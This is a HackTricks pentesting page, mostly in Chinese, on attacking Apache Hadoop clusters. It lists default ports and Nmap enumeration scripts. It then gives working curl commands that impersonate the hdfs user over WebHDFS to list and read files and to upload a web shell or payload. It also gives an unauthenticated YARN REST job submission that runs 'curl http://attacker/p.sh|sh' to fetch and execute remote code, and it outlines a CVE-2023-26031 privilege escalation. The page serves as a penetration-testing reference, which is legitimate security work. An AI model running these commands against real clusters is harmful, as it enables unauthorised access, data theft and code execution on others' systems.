50030-50060-50070-50075-50090 - Pentesting Hadoop
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
Apache Hadoop 是一个用于在 计算机集群 上对 大规模数据集 进行 分布式存储和处理 的 开源框架。它使用 HDFS 进行存储,使用 MapReduce 进行处理。
常用默认端口:
- 50070 / 9870 NameNode (WebHDFS)
- 50075 / 9864 DataNode
- 50090 Secondary NameNode
- 8088 YARN ResourceManager web UI & REST
- 8042 YARN NodeManager
- 8031/8032 YARN RPC (often forgotten and still unauth in many installs)
不幸的是,在本文件编写时 Hadoop 在 Metasploit framework 中缺乏支持。不过,你可以使用以下 Nmap scripts 来枚举 Hadoop 服务:
hadoop-jobtracker-info (Port 50030)hadoop-tasktracker-info (Port 50060)hadoop-namenode-info (Port 50070)hadoop-datanode-info (Port 50075)hadoop-secondary-namenode-info (Port 50090)
需要注意的是,Hadoop 在默认配置下通常不启用认证。然而,为了增强安全性,可以配置 Kerberos 来与 HDFS、YARN 和 MapReduce 服务集成。
WebHDFS / HttpFS 滥用 (50070/9870 or 14000)
当 security=off 时,你可以通过 user.name 参数冒充任意用户。一些快速原语:
# list root directory
curl "http://<host>:50070/webhdfs/v1/?op=LISTSTATUS&user.name=hdfs"
# read arbitrary file from HDFS
curl -L "http://<host>:50070/webhdfs/v1/etc/hadoop/core-site.xml?op=OPEN&user.name=hdfs"
# upload a web shell / binary
curl -X PUT -T ./payload "http://<host>:50070/webhdfs/v1/tmp/payload?op=CREATE&overwrite=true&user.name=hdfs" -H 'Content-Type: application/octet-stream'
如果启用了 HttpFS(默认端口 14000),相同的 REST 路径也适用。在 Kerberos 保护下,你仍然可以使用 curl --negotiate -u : 并持有有效票据。
YARN unauth RCE (8088)
默认的“simple”模式(dr.who)下,ResourceManager REST API 接受无认证的作业提交。攻击者可滥用它来执行任意命令(例如挖矿程序),而无需 HDFS 写权限。
# 1) get an application id
curl -s -X POST http://<host>:8088/ws/v1/cluster/apps/new-application
# 2) submit DistributedShell pointing to a command
curl -s -X POST http://<host>:8088/ws/v1/cluster/apps \
-H 'Content-Type: application/json' \
-d '{
"application-id":"application_1234567890000_0001",
"application-name":"pwn",
"am-container-spec":{
"commands":{"command":"/bin/bash -c \"curl http://attacker/p.sh|sh\""}
},
"application-type":"YARN"
}'
如果端口 8031/8032 RPC 暴露,较旧的集群允许通过 protobuf 在无认证的情况下提交相同的作业(documented in several cryptominer campaigns)——也应将这些端口视为 RCE。
本地 PrivEsc 来自 YARN 容器 (CVE-2023-26031)
Hadoop 3.3.1–3.3.4 的 container-executor 从 相对 RUNPATH 加载 libs。能够运行 YARN 容器的用户(包括在不安全集群上的远程提交者)可以在可写路径中放置恶意的 libcrypto.so,当 container-executor 以 SUID 运行时可能获得 root。
快速检查:
readelf -d /opt/hadoop/bin/container-executor | grep 'RUNPATH\|RPATH'
# vulnerable if it contains $ORIGIN/:../lib/native/
ls -l /opt/hadoop/bin/container-executor # SUID+root makes it exploitable
已在 3.3.5 中修复;如果不需要安全容器,请确保该二进制文件不是 SUID。
参考资料
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


